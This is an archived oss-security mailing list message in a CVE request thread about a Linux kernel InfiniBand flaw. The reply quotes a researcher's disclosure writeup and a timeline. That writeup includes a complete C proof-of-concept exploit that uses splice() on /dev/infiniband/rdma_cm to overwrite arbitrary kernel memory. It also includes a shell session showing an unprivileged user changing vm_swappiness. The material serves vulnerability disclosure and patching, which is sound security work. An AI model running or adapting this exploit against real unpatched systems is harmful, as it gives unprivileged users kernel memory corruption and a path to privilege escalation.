Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Mon, 09 May 2016 21:10:41 +0200
From: Yann Droneaud <ydroneaud@...eya.com>
To: Jann Horn <jann@...jh.net>
Cc: Jason Gunthorpe <jgunthorpe@...idianresearch.com>, Doug Ledford
	 <dledford@...hat.com>, linux-rdma@...r.kernel.org, 
	oss-security@...ts.openwall.com
Subject: Re: CVE Request: Linux: IB/security: Restrict use of
 the write() interface'

[Cc: oss-security@...ts.openwall.com]

Hi,

Le lundi 09 mai 2016 à 20:02 +0200, Jann Horn a écrit :
> On Sat, May 07, 2016 at 08:19:46PM +0200, Yann Droneaud wrote:
> > Le samedi 07 mai 2016 à 06:22 +0200, Salvatore Bonaccorso a écrit :
> > > 
> > >  
> > > Jann Horn reported an issue in the infiniband stack. It has been
> > > fixed in v4.6-rc6 with commit
> > > e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3:
> > > 
> > > https://git.kernel.org/linus/e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3
> > > 
> > > > 
> > > > 
> > > > IB/security: Restrict use of the write() interface
> > > > The drivers/infiniband stack uses write() as a replacement for
> > > > bi-directional ioctl().  This is not safe. There are ways to
> > > > trigger write calls that result in the return structure that
> > > > is normally written to user space being shunted off to user
> > > > specified kernel memory instead.
> > > > 
> > That's an interesting issue.
> > 
> > I thought access_ok() done as part of copy_to_user() would protect
> > from such unwelcomed behavior. But it's not if the kernel invoke
> > write() handler outside of a user process.
> > 
> > Anyway, as I don't see yet how to reproduce the issue, is there a
> > PoC available, I would be interested by a mean to trigger such
> > write().

> Here is my writeup of the issue that I made quite a while ago - the
> timeline is missing some of the more recent stuff, but meh.
> 
> ======================================================
> 
> 
> Here is a PoC that can be used to clobber data at arbitrary
> writable kernel addresses if the rdma_ucm module is loaded (without
> actually needing Infiniband hardware to be present):
> 
> =====
> #define _GNU_SOURCE
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> 
> #include 
> #include 
> #include 
> #include 
> #include 
> 
> #define RDMA_PS_TCP 0x0106
> 
> // This method forces the kernel to write arbitrary data to the
> // target fd under set_fs(KERNEL_DS), bypassing address limit
> // checks in anything that extracts pointers from written data.
> int write_without_addr_limit(int fd, char *buf, size_t len) {
>   int pipefds[2];
>   if (pipe(pipefds))
>     return -1;
>   ssize_t len_ = write(pipefds[1], buf, len);
>   if (len == -1)
>     return -1;
>   int res = splice(pipefds[0], NULL, fd, NULL, len_, 0);
>   int errno_ = errno;
>   close(pipefds[0]);
>   close(pipefds[1]);
>   errno = errno_;
>   return res;
> }
> 
> int clobber_kaddr(unsigned long kaddr) {
>   // open infiniband fd
>   int fd = open("/dev/infiniband/rdma_cm", O_RDWR);
>   if (fd == -1)
>     err(1, "unable to open /dev/infiniband/rdma_cm - maybe the RDMA kernel module isn't loaded?");
> 
>   // craft malicious write buffer
>   // structure:
>   //   struct rdma_ucm_cmd_hdr hdr
>   //   struct rdma_ucm_create_id cmd
>   char buf[sizeof(struct rdma_ucm_cmd_hdr) + sizeof(struct rdma_ucm_create_id)];
>   struct rdma_ucm_cmd_hdr *hdr = (void*)buf;
>   struct rdma_ucm_create_id *cmd = (void*)(buf + sizeof(struct rdma_ucm_cmd_hdr));
>   hdr->cmd = RDMA_USER_CM_CMD_CREATE_ID;
>   hdr->in = 0;
>   hdr->out = sizeof(struct rdma_ucm_create_id_resp);
>   cmd->ps = RDMA_PS_TCP;
>   cmd->response = kaddr;
> 
>   int res = write_without_addr_limit(fd, buf, sizeof(buf));
>   int errno_ = errno;
>   close(fd);
>   errno = errno_;
>   return res;
> }
> 
> int main(int argc, char **argv) {
>   if (argc != 2)
>     errx(1, "want one argument (kernel address to clobber)");
>   char *endp;
>   unsigned long kaddr = strtoul(argv[1], &endp, 0);
>   if (kaddr == ULONG_MAX || *endp || endp == argv[1])
>     errx(1, "bad input number");
> 
>   int r = clobber_kaddr(kaddr);
>   if (r >= 0) {
>     printf("that probably worked? clobber_kaddr(0x%lx)=%d\n", kaddr, r);
>     return 0;
>   } else {
>     printf("failed: %m\n");
>     return 1;
>   }
> }


Is this only achievable through splice() ?


> =====
> 
> And here is an example that shows that this indeed works, tested
> on a Debian distro kernel:
> 
> First, as root (warning: this will make the currently running system
> exploitable):
> root@...ian:~# modprobe rdma_ucm
> 
> Now, as attacker:
> user@...ian:~$ cat /proc/sys/vm/swappiness
> 60
> user@...ian:~$ ls -l /dev/infiniband/rdma_cm
> crw-rw-rw- 1 root root 10, 59 Jan  9 23:07 /dev/infiniband/rdma_cm
> user@...ian:~$ gdb -q -ex 'print &vm_swappiness' -ex quit
> /usr/lib/debug/boot/vmlinux-$(uname -r)
> Reading symbols from /usr/lib/debug/boot/vmlinux-3.16.0-4-
> amd64...done.
> $1 = (int *) 0xffffffff81861760 <vm_swappiness>
> user@...ian:~$ gcc -Wall -std=gnu99 -o infiniwrite infiniwrite.c
> user@...ian:~$ ./infiniwrite 0xffffffff81861760
> that probably worked? clobber_kaddr(0xffffffff81861760)=32
> user@...ian:~$ cat /proc/sys/vm/swappiness
> 0
> 
> As you can see, the vm_swappiness variable in kernelspace was
> overwritten by an unprivileged userspace process.
> 
> Timeline:
> 2015-09-11 initial report to security@...nel.org and infiniband maintainers;
>         exploitability isn't entirely clear to me yet
> 2015-09-11 infiniband maintainer responds, but apparently doesn't see an issue
> 2015-12-26 I figure out the splice trick and ask the infiniband maintainers to
>         fix the issue
> 2015-12-26 Andy Lutomirski asks the infiniband maintainers to fix the issue and
>         break the ABI if necessary
> 2016-01-25 I send the PoC contained in this message to security@...nel.org and
>         the infiniband maintainers and ask them again to fix the issue.
> 

Thanks a lot !

Regards.

-- 
Yann Droneaud
OPTEYA


Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.